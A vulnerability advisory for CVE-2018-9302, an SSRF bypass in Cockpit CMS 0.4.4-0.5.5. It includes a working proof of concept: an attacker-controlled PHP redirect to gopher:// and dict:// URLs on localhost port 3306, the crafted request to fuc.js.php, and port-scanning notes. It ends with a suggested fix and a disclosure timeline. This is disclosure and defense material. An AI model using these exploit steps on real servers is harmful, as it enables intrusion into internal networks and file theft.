# SSRF(Server Side Request Forgery) in Cockpit 0.4.4-0.5.5 (CVE-2018-9302)
Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version.
## Product Download: Cockpit (https://getcockpit.com)
## Vulnerability Type:SSRF(Server Side Request Forgery)
## Attack Type : Remote
## Vulnerability Description
You can edit a .php file on own server. The .php file's code example:
<?php Header("Location: dict://127.0.0.1:3306/_0d%");?>
## Exploit
Request:
GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1
Host: myserver
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
referer:http://myserver/index.php
Modify the redirect.php file on the attacker's server.example:
<?php Header("Location: gopher://127.0.0.1:3306/_0d%");?>
If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method,if not then only use http、https、ftp protocol
scan prot,example: <?php Header("Location: dict://127.0.0.1:3306/");?>
If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini,allow_url_fopen option defualt is enable.
## Versions
Product: Cockpit CMS 0.4.4-0.5.5
## Impact
SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.
## Fix Code
The fix code example:
$url = $_REQUEST['url'];
$content = null;
if (!filter_var($url, FILTER_VALIDATE_URL)) {
header('HTTP/1.0 400 Bad Request');
return;
}
// allow only http requests
if (!preg_match('#^http(|s)\://#', $url)) {
header('HTTP/1.0 403 Forbidden');
return;
}
preg_match('/https*:\/\/(.+)/', $url, $matches);
$host= count($matches) > 1 ? $matches[1] : '';
$ip = gethostbyname($host);
//check private ip
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
return
}
and modify the line 48 :
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);
## Credit
This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)
## References
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302
### Timeline:
2018-04-03 Found Cockpit CMS vulnerability.
2018-04-04 Submit vulnerability information to developers.
2018-04-05 Submit CVE-ID request
2018-04-28 Vendor no response, Public vulnerability information,Please Fix it.